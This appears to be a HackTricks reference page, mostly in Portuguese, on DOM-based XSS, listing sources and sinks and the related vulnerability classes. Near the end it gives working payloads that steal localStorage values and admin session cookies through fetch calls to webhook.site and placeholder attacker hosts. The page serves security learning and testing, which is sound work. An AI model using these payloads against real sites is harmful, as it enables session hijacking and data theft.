DOM XSS

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Vulnerabilidades DOM

Vulnerabilidades DOM ocorrem quando dados controlados pelo atacante provenientes de sources (como location.search, document.referrer, ou document.cookie) são transferidos de forma insegura para sinks. Sinks são funções ou objetos (por exemplo, eval(), document.body.innerHTML) que podem executar ou renderizar conteúdo nocivo se receberem dados maliciosos.

  • Sources são entradas que podem ser manipuladas por atacantes, incluindo URLs, cookies e mensagens web.
  • Sinks são endpoints potencialmente perigosos onde dados maliciosos podem levar a efeitos adversos, como execução de scripts.

O risco surge quando dados fluem de uma source para uma sink sem validação ou sanitização apropriada, permitindo ataques como XSS.

Tip

Você pode encontrar uma lista mais atualizada de sources e sinks em https://github.com/wisec/domxsswiki/wiki

Common sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Sinks comuns:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

O sink innerHTML não aceita elementos script em navegadores modernos, nem eventos svg onload serão disparados. Isso significa que você precisará usar elementos alternativos como img ou iframe.

Esse tipo de XSS é provavelmente o mais difícil de encontrar, pois você precisa olhar dentro do código JS, verificar se ele está usando algum objeto cujo valor você controla e, nesse caso, ver se existe alguma forma de abusá-lo para executar JS arbitrário.

Ferramentas para encontrá-los

Exemplos

Open Redirect

From: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.

It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

Fonte: https://portswigger.net/web-security/dom-based/cookie-manipulation

DOM-based cookie-manipulation vulnerabilities ocorrem quando um script incorpora dados, que podem ser controlados por um atacante, no valor de um cookie. Essa vulnerabilidade pode causar comportamento inesperado na webpage se o cookie for utilizado no site. Além disso, pode ser explorada para realizar um ataque de session fixation se o cookie estiver envolvido no rastreamento de sessões de usuário. O sink primário associado a essa vulnerabilidade é:

Sinks:

document.cookie

JavaScript Injection

Fonte: https://portswigger.net/web-security/dom-based/javascript-injection

Vulnerabilidades de DOM-based JavaScript injection ocorrem quando um script executa dados controlados por um atacante como código JavaScript.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

From: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities ocorrem quando um script define a propriedade document.domain usando dados que um atacante pode controlar.

A propriedade document.domain desempenha um papel fundamental na aplicação da same-origin policy pelos navegadores. Quando duas páginas de origens diferentes definem seu document.domain para o mesmo valor, elas podem interagir sem restrições. Embora os navegadores imponham certos limites nos valores atribuíveis a document.domain, impedindo a atribuição de valores completamente não relacionados à origem real da página, existem exceções. Normalmente, os navegadores permitem o uso de domínios filho ou pai.

Sinks:

document.domain

WebSocket-URL poisoning

Fonte: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning ocorre quando um script utiliza dados controláveis como a URL de destino para uma conexão WebSocket.

Sinks:

O construtor WebSocket pode levar a vulnerabilidades de WebSocket-URL poisoning.

Fonte: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities arise when a script writes dados controláveis pelo atacante em um alvo de navegação dentro da página atual, como um link clicável ou a URL de submissão de um formulário.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Vulnerabilidades de manipulação de requisições Ajax surgem quando um script escreve dados controláveis pelo atacante em uma requisição Ajax que é emitida usando um objeto XmlHttpRequest.

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities surgem quando um script passa dados controlados pelo atacante para uma API de manipulação de arquivos como o parâmetro filename. Essa vulnerabilidade pode ser explorada por um atacante para construir uma URL que, se visitada por outro usuário, pode fazer com que o navegador desse usuário abra ou grave um arquivo local arbitrário.

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

Fonte: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities ocorrem quando um script incorpora attacker-controllable data into a client-side SQL query in an unsafe way.

Sinks:

executeSql()

HTML5-storage manipulation

Origem: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities surgem quando um script armazena dados controláveis pelo atacante no HTML5 storage do navegador (localStorage or sessionStorage). Embora essa ação não seja, por si só, uma vulnerabilidade de segurança, ela se torna problemática se a aplicação posteriormente lê os dados armazenados e os processa de forma insegura. Isso pode permitir que um atacante aproveite o mecanismo de armazenamento para conduzir outros ataques baseados em DOM, como cross-site scripting e JavaScript injection.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

Fonte: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities ocorrem quando um script incorpora attacker-controllable data into an XPath query.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

Fonte: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities ocorrem quando um script incorpora dados controláveis pelo atacante em uma string que é parseada como uma estrutura de dados JSON e então processada pela aplicação.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

From: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message vulnerabilities surgem quando um script envia dados controláveis pelo atacante como um web message para outro documento dentro do navegador. Um exemplo de Web-message manipulation vulnerável pode ser encontrado em PortSwigger’s Web Security Academy.

Sinks:

O método postMessage() para enviar web messages pode levar a vulnerabilidades se o event listener para receber mensagens tratar os dados recebidos de maneira insegura.

DOM-data manipulation

From: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation vulnerabilities ocorrem quando um script grava dados controláveis pelo atacante em um campo dentro do DOM que é utilizado na UI visível ou na lógica client-side. Essa vulnerabilidade pode ser explorada por um atacante para construir uma URL que, se visitada por outro usuário, pode alterar a aparência ou o comportamento da UI no client-side.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

From: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities ocorrem quando um script passa dados controláveis pelo atacante de forma insegura para uma API de plataforma problemática. Isso inclui APIs que, quando invocadas, podem levar o computador do usuário a consumir quantidades excessivas de CPU ou espaço em disco. Essas vulnerabilidades podem ter efeitos colaterais significativos, como o navegador restringir a funcionalidade do site ao rejeitar tentativas de armazenar dados em localStorage ou encerrar scripts ocupados.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

Globais implícitos & abuso de window.name

Referenciar name sem declaração (var/let/const) resolve para window.name. Como window.name persiste através de navegações cross-origin, um atacante pode pré-preencher o nome do contexto de navegação com HTML/JS e mais tarde fazer com que o código da vítima o renderize como dados confiáveis:

  • Abra/navegue o alvo em um contexto nomeado que você controla:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • Ou reutilize window.open com um nome de destino cuidadosamente criado:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

Se a aplicação, posteriormente, fizer element.innerHTML = name (ou outro sink semelhante) sem sanitização, a string window.name controlada pelo atacante será executada na origem alvo, permitindo DOM XSS e acesso ao armazenamento de mesma origem.

Fluxos de administração/automação: armazenamento pré-populado & javascript: navegação

Bots de automação (por ex., Playwright) frequentemente visitam uma página interna primeiro, definem segredos em localStorage/cookies, e então navegam para URLs fornecidas pelo usuário. Qualquer primitiva DOM XSS (incluindo abuso de window.name) nesse fluxo pode exfiltrar o segredo pré-populado:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

Se o bot não restringir esquemas, fornecer uma URL javascript: (javascript:fetch(...)) executa na origem atual sem nova navegação, diretamente leaking storage values.

Template literal innerHTML + lacunas de sanitização parcial

Frontends que sanitizam apenas campos selecionados mas ainda interpolam um campo não confiável diretamente em innerHTML são trivialmente exploráveis. Exemplo:

fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});

Se o campo não sanitizado for armazenado no servidor (por exemplo, relatório de bug “details”), o payload torna-se stored DOM XSS para qualquer visualizador privilegiado da lista. Um payload simples como <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> é executado quando um admin abre a página e exfiltra seus cookies.

Quando a aplicação desabilita explicitamente SESSION_COOKIE_HTTPONLY (por exemplo, Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), o cookie roubado concede imediatamente a sessão do admin mesmo que o segredo de assinatura seja rotacionado a cada boot (um secret_key aleatório impede a falsificação, mas o roubo ainda funciona).

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks